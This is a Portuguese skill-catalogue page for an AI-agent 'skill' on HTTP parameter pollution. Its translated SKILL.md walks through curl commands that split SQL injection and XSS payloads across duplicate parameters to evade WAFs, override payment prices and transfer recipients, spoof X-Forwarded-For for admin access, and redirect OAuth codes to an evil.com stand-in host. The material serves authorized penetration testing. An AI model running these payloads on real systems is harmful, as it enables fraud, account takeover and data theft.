Pular para o conteúdo
Skillpedia
Testes35 mil · #6078

performing-http-parameter-pollution-attack

Ajuda seu agente a testar ataques de poluição de parâmetros HTTP para contornar validações de segurança.

O que ela faz

Este recurso ajuda a testar a segurança de sites e aplicativos. Ele envia parâmetros duplicados para ver se o site reage de forma inesperada, o que pode indicar uma falha de segurança.

Quando usar

  • ✓Ao testar a segurança de um site.
  • ✓Para verificar se um site pode ser enganado.
  • ✓Ao tentar entender como um site lida com informações repetidas.

Exemplo do que pedir para a IA

“Teste se o site pode ser enganado com parâmetros duplicados.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-http-parameter-pollution-attack/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-http-parameter-pollution-attack/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

O recurso envia o mesmo 'nome' de parâmetro várias vezes em uma requisição. Diferentes sistemas de site processam esses nomes repetidos de maneiras distintas, o que pode revelar vulnerabilidades.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-http-parameter-pollution-attack

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-http-parameter-pollution-attack/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Ataque de Poluição de Parâmetros HTTP

Quando Usar

  • Ao testar aplicações web em busca de vulnerabilidades de bypass de validação de entrada
  • Durante testes de evasão de WAF para dividir payloads de ataque entre parâmetros duplicados
  • Ao avaliar como diferentes pilhas de tecnologia lidam com parâmetros HTTP duplicados
  • Durante testes de segurança de API para identificar problemas de precedência de parâmetros
  • Ao testar fluxos de OAuth ou processamento de pagamentos em busca de manipulação de parâmetros

Pré-requisitos

  • Burp Suite Professional com os módulos Intruder e Repeater
  • Compreensão do protocolo HTTP e da análise de query string
  • Conhecimento das diferenças de tratamento de parâmetros no lado do servidor (primeiro, último, array, concatenado)
  • cURL ou httpie para criação manual de parâmetros
  • Identificação da pilha de tecnologia da aplicação alvo (Apache, IIS, Tomcat, Node.js, etc.)

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1 — Identificar o Comportamento de Tratamento de Parâmetros

# Test how the server handles duplicate parameters
# Different servers process duplicates differently:
# Apache/PHP: Last parameter value
# ASP.NET/IIS: All values concatenated with comma
# JSP/Tomcat: First parameter value
# Node.js/Express: Array of values
# Python/Flask: First parameter value

curl -v "http://target.com/search?q=first&q=second"
# Observe which value the application uses in the response

# Test POST body duplicate parameters
curl -X POST http://target.com/api/action \
  -d "amount=100&amount=1"

Passo 2 — Realizar HPP no Lado do Servidor

# Bypass input validation by splitting payload
# Original blocked payload: id=1 OR 1=1
curl "http://target.com/api/user?id=1%20OR%201%3D1"  # Blocked by WAF

# HPP bypass: split across duplicate parameters
curl "http://target.com/api/user?id=1%20OR&id=1%3D1"  # May bypass WAF

# Parameter pollution in POST body
curl -X POST http://target.com/transfer \
  -d "to_account=victim&amount=100&to_account=attacker"

# Override security-critical parameters
curl -X POST http://target.com/api/payment \
  -d "price=99.99&currency=USD&price=0.01"

Passo 3 — Realizar HPP no Lado do Cliente

# Client-side HPP via URL manipulation
# If application reflects parameters in links:
# Original: http://target.com/page?param=value
# Inject:   http://target.com/page?param=value%26injected_param=evil_value

# Social sharing URL manipulation
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"

# Inject into embedded links
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"

Passo 4 — Evasão de Regras de WAF Usando HPP

# WAF typically inspects individual parameter values
# Split SQL injection across parameters
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"

# Split XSS payload
curl "http://target.com/search?q=<script>&q=alert(1)</script>"

# URL-encoded HPP bypass
curl "http://target.com/api/data?filter=admin%26role=superadmin"

# HPP in HTTP headers
curl -H "X-Forwarded-For: 127.0.0.1" \
     -H "X-Forwarded-For: attacker-ip" \
     http://target.com/api/admin

Passo 5 — Testar HPP em Fluxos de OAuth e Pagamento

# OAuth authorization code HPP
# Inject duplicate redirect_uri to steal authorization code
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"

# Payment amount manipulation
curl -X POST http://target.com/api/checkout \
  -d "item=product1&price=100&quantity=1&price=1"

# Coupon code HPP
curl -X POST http://target.com/api/apply-coupon \
  -d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"

Passo 6 — Automatizar Testes de HPP

# Use Burp Intruder with parameter duplication
# In Burp Repeater, manually add duplicate parameters
# Use param-miner Burp extension for automated discovery

# Test with OWASP ZAP HPP scanner
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \
  http://target.com

# Custom testing with Python
python3 hpp_tester.py --url http://target.com/api/action \
  --params "id,role,amount" --method POST

Conceitos Chave

Conceito Descrição
HPP no Lado do Servidor Parâmetros duplicados processados de forma diferente pelo backend, causando bypass de lógica
HPP no Lado do Cliente Parâmetros injetados refletidos em URLs/links enviados para outros usuários

…

Perguntas frequentes

O que é um ataque de Poluição de Parâmetros HTTP (HPP)?

É uma técnica de teste de segurança onde se enviam parâmetros duplicados para um site para ver se ele os interpreta de forma diferente do esperado, potencialmente expondo falhas.

Por que enviar parâmetros duplicados é importante?

Porque o sistema de segurança (como um firewall) pode ver um parâmetro de uma forma, mas o sistema principal do site pode interpretá-lo de outra, permitindo que ataques passem despercebidos.

Preciso ser um especialista em programação para usar isso?

Não é necessário ser um programador experiente, mas é útil ter uma noção básica de como a internet funciona e como os sites recebem informações.

Detalhes

Descrição original do autor

Executes HTTP Parameter Pollution attacks that inject duplicate request parameters to bypass input validation, WAF rules, and other security controls when front-end and back-end systems parse duplicate parameters differently. Use during web application penetration testing to test for parameter parsing inconsistencies or WAF/validation bypass.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6078
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas